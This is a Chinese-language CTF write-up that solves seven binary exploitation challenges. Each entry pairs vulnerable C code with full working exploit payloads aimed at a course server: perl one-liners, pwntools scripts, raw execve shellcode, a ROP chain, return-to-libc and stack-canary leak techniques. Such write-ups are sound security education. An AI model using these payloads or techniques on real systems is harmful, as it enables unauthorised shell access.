第一題:BOF easy [ pwn ]
題目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| #include <stdio.h> void l33t() { puts("Congrat !!Congrat"); system("/bin/sh"); } int main() { char buf[20]; puts("Buffer overerflow is easy"); printf("Read your input :"); fflush(stdout); read(fflush0,buf,100); return 0 ; }
|
解題思路
l33t()中有system(“/bin/sh”),所以目標就是執行l33t()
由code可知buf長度20,但read()讀100個bytes,代表這裡可以buffer overflow
並且這題沒有ASLR,所以用objdump可以找出l33t()的address為0x80484fd
接著,只需要將main()的return address蓋成0x80484fd即可
payload:
1
| (perl -e 'print "A"x32, "\xfd\x84\x04\x08"';cat) | nc 140.115.53.13 11001
|
第二題:BSS overflow [pwn]
題目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| #include <stdio.h> char name[200]; char *filename; int main(){ FILE *fp ; char buf[2704]; puts("What's your name ?"); fflush(stdout); filename = "/home/bssof/welcome"; gets(name); fp = fopen(filename,"r"); if(!fp){ puts("Error !!"); return -1; }else{ fread(buf,2704,1,fp); } printf("%s\n",buf); printf("Goodbye ~ %s\n",name); fflush(stdout); return 0 ; }
|
解題思路
這題因為使用gets(),明顯地,name可以buffer overflow
而name和filename都在BSS段,我們可以知道name往下蓋會蓋到filename
所以這題如果先把flag的位置寫到name中,再往下把filename蓋成指向name的位置
這樣fopen就會幫我們把flag的內容讀出來!
payload:
1
| perl -e 'print "/home/bssof/flag","\x00"x184,"\x60\xa0\x04\x08"' | nc 140.115.53.13 11000
|
第三題:Shellcode Injection [pwn]
題目
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <stdio.h> int main(){ char buf[100]; printf("The buffer of your input %p\n",buf); puts("Can you pwn it ?"); printf("Your input : "); fflush(stdout); gets(buf); puts("Goodbye ~"); fflush(stdout); }
|
解題思路
這題一樣gets()會導致buffer overflow發生
然後這題沒有DEP保護,所以可以寫shellcode進buf來執行
但是這題有ASLR,所以code開頭很好心的把buf位置印出來
payload:
1 2 3 4 5 6 7 8
| from pwn import * r = remote('140.115.53.13', 11002) r.recvuntil('The buffer of your input ') addr = r.recvline() print addr r.send("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e \x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*87 + p32(int(addr,16)) + "\n") r.interactive()
|
第四題:ROP beginner [pwn]
題目
1 2 3 4 5 6 7 8 9 10
| #include <stdio.h> int main(){ char buf[20]; puts("ROP is easy is'nt it ?"); printf("Your input :"); fflush(stdout); read(0,buf,300); }
|
解題思路
看這題code那麼短,加上題目提到ROP,所以猜測這題執行檔是用靜態編譯
應該有夠多ROP gadget可以組shell
直接拿ROPgadget組ROP chain
1
| ROPgadget --binary rop_beginner --ropchain
|
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from struct import pack p='' p+='a'*32 p+=pack('<I',0x0806e82a) p+=pack('<I',0x080ea060) p+=pack('<I',0x080bae06) p+='/bin' p+=pack('<I',0x0809a15d) p+=pack('<I',0x0806e82a) p+=pack('<I',0x080ea064) p+=pack('<I',0x080bae06) p+='//sh' p+=pack('<I',0x0809a15d) p+=pack('<I',0x0806e82a) p+=pack('<I',0x080ea068) p+=pack('<I',0x08054250) p+=pack('<I',0x0809a15d) p+=pack('<I',0x080481c9) p+=pack('<I',0x080ea060) p+=pack('<I',0x0806e851) p+=pack('<I',0x080ea068) p+=pack('<I',0x080ea060) p+=pack('<I',0x0806e82a) p+=pack('<I',0x080ea068) p+=pack('<I',0x08054250) p+=pack('<I',0x0807b27f) p+=pack('<I',0x0807b27f) p+=pack('<I',0x0807b27f) p+=pack('<I',0x0807b27f) p+=pack('<I',0x0807b27f) p+=pack('<I',0x0807b27f) p+=pack('<I',0x0807b27f) p+=pack('<I',0x0807b27f) p+=pack('<I',0x0807b27f) p+=pack('<I',0x0807b27f) p+=pack('<I',0x0807b27f) p+=pack('<I',0x080493e1) print p
|
第五題:Return to library [pwn]
題目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| #include <stdio.h> void See_something(unsigned int addr){ int *address ; address = (int *)addr ; printf("The content of the address : %p\n",*address); }; void Print_message(char *mesg){ char buf[48]; strcpy(buf,mesg); printf("Your message is : %s",buf); } int main(){ char address[10] ; char message[256]; unsigned int addr ; puts("###############################"); puts("Do you know return to library ?"); puts("###############################"); puts("What do you want to see in memory?"); printf("Give me an address (in dec) :"); fflush(stdout); read(0,address,10); addr = strtol(address); See_something(addr) ; printf("Leave some message for me :"); fflush(stdout); read(0,message,256); Print_message(message); puts("Thanks you ~"); return 0 ; }
|
解題思路
這題有DEP保護
一開始先找出puts的got位址,因為程式一開始可以讓我們讀某個 address的內容,我們就塞這個got給他,讓他讀puts真正位址
根據 base + offset = address,我們把得到的位址減掉offset就能找出 base address,再⽤base + system offset就能得到system的位址 如此一來就能控制return address跳到system,並且system的參數(/bin/sh)位址也能從libc.so取得(⼀樣是offset + base)
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import * puts_got = 0x804a01c puts_off = 0x64c10 gets_off = 0x642b0 system_off = 0x3fcd0 sh_off = 0x15da84 r = remote('140.115.53.13', 11004) r.send("134520860" + "\n") r.recvuntil('The content of the address : ') puts_addr = r.recvline() base = int(puts_addr,16) - puts_off gets_addr = base + gets_off system_addr = base + system_off r.send("A"*60 + p32(system_addr) + "A"*4 + p32(sh_off + base) + "\n") r.interactive()
|
第六題:Simple echo [pwn]
題目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| #include <stdio.h> int main() { char buf[128]; setvbuf(stdout,0,2,0); puts("####################"); puts(" Simple echo server"); puts("####################"); puts("Enter exit to quit "); while(1){ memset(buf,0,128); printf("Input : "); read(0,buf,256); buf[136] = '\x00'; usleep(400000); if(!memcmp(buf,"exit",4)){ break ; } puts(""); printf("echo %s",buf); } puts("goodbye~"); }
|
解題思路
首先,這題有開StackGuard,所以單純buffer overflow會被偵測,必須想辦法先知道canary的值,然後去做buffer overflow就能避開canary修改偵測(還原canary)
具體實現是先塞128字元的垃圾進去,他會把\x00前的東⻄印出來,包括buf[136]前的東西,也就是canary!
所以我們就有辦法控制 return address而不被StackGuard偵測,再來因為有DEP,我們一樣要用到PLT/GOT,先想辦法leak GOT裡面的某個函數位址 (這裏我leak puts()),然後算出base address,就能像上題那樣直接call system(“/bin/sh”)。要leak puts的GOT內容,可以把main return address蓋成puts的PLT,然後參數放GOT位址去leak memory 內容。
整個stack分佈大概是⻑這樣:
padding + canary + padding + puts@plt + main_address + puts@got
這樣就可以用 base + offset = address來求base
要再call main的原因是因為我leak出來之後還要再接著call system,所以就讓程式再跑⼀次,重新做⼀次overflow,把return address蓋成system()位址
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * r = remote('140.115.53.13', 11005) r.recvuntil("Input :") r.send("A"*128 + "\n") a = r.recvuntil("Input :") puts_plt = 0x08048470 puts_got = 0x804a020 main = 0x080485bd gets_off = 0x642b0 puts_off = 0x64c10 system_off = 0x3fcd0 sh_off = 0x15da84 r.send("exit" + "A"*124 + "\x00" + a[136:139] + "A"*12 + p32(puts_plt) + p32(main) + p32(puts_got) + "\n") print r.recvline() tmp = r.recvline() print enhex(tmp) base = u32(tmp[0:4]) - puts_off print "Base = ", hex(base) gets = base + gets_off system = base + system_off print "main = ", hex(main) print "system = ", hex(system) r.send("exit" + "A"*124 + "\x00" + a[136:139] + "A"*5 + "\x85\x04\x08" + p32(system) + p32(puts_got) + p32(sh_off+base) + "\n") r.interactive()
|
第七題:Bubble sort [pwn]
題目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| #include <stdio.h> int main(){ unsigned int n,i,j ; unsigned int tmp ; unsigned int buf[8]; while(1){ puts("How many numbers do you have ?"); fflush(stdout); scanf("%u",&n); for(i = 0 ; i < n ; i++){ printf("Enter the %d number : ",i); fflush(stdout); scanf("%u",&buf[i]); } puts("Processing......"); fflush(stdout); sleep(1); for(i = n ; i > 0 ; i--){ for( j = 0 ; j < i ; j++){ if(buf[j] > buf[j+1]){ tmp = buf[j] ; buf[j] = buf[j+1]; buf[j+1] = tmp ; } } } puts("Result :"); fflush(stdout); for(i = 0 ; i < n ; i++){ printf("%u ",buf[i]); } puts(""); puts("Continue (yes:1,no:0) ?"); fflush(stdout); scanf("%u",&tmp); if(tmp != 1){ puts("Thank you ~"); fflush(stdout); break ; } } return 0 ; }
|
解題思路
首先,這題有DEP、StackGuard
這題看似單純的bubble sort,實際上交換的部分有bug
他有可能拿buf以外的值來做判斷、交換
所以只要塞小一點的值,就可以把後面想leak的memory內容排序到前面
然後我們要做的就是去Leak canary和main return address
⽤gdb動態分析⼀下就能找出canary和main return address的位址在stack中的位置,再來就是構造出能夠讓canary和return address被排到前面的序列,首先我們需要夠⼤的數字(要⼤於我們想leak的內容),這裏我是塞-1
第一輪先塞8個-1,則canary值會因為⼩於-1(約4294967295),排序到最前面,故可取得canary值
第二輪塞16個9999999900,return address因為⼩於9999999900,被排序到最前面
第三輪塞20個9999999999 防止排序搗亂我們
第四輪塞17個0,再塞2個/bin/sh位址 (其實只需塞最後一個即可,但為了防止排序搗亂所以塞兩個)
最後一輪塞8個0、3個canary、6個system位址,即可拿到shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import * remote r = remote('140.115.53.13', 31337) r.send("8\n" + "-1\n"*8) r.recvline() r.recvline() r.recvline() str = r.recvline() canary = (str[:10]) print "*"*10 print "canary = ", canary print "*"*10 r.send("1\n") r.recvuntil('How many numbers do you have ?') r.send("16\n" + "9999999900\n" * 16) r.recvline() r.recvline() r.recvline() str = r.recvline() ret = str[:10] print "*"*10 print "ret = ", ret print "*"*10 r.send("1\n") r.recvuntil('How many numbers do you have ?') r.send("20\n" + "9999999999\n" * 20) r.recvline() r.recvline() r.recvline() str = r.recvline() r.send("1\n") base = int(ret) - 0x19a63 sh = (base + 0x15da84).__str__() system = (base + 0x3fcd0).__str__() print "base = ", base print "sh = ", sh print "systen = ", system r.recvuntil('How many numbers do you have ?') r.send("19\n" + "0\n" * 17 + (sh + "\n") * 2) r.recvline() r.recvline() r.recvline() str = r.recvline() r.send("1\n") r.recvuntil('How many numbers do you have ?') r.send("17\n" + "0\n" * 8 + (canary + "\n") * 3 + (system + "\n") * 6) r.recvline() r.recvline() r.recvline() str = r.recvline() r.send("0\n") r.interactive()
|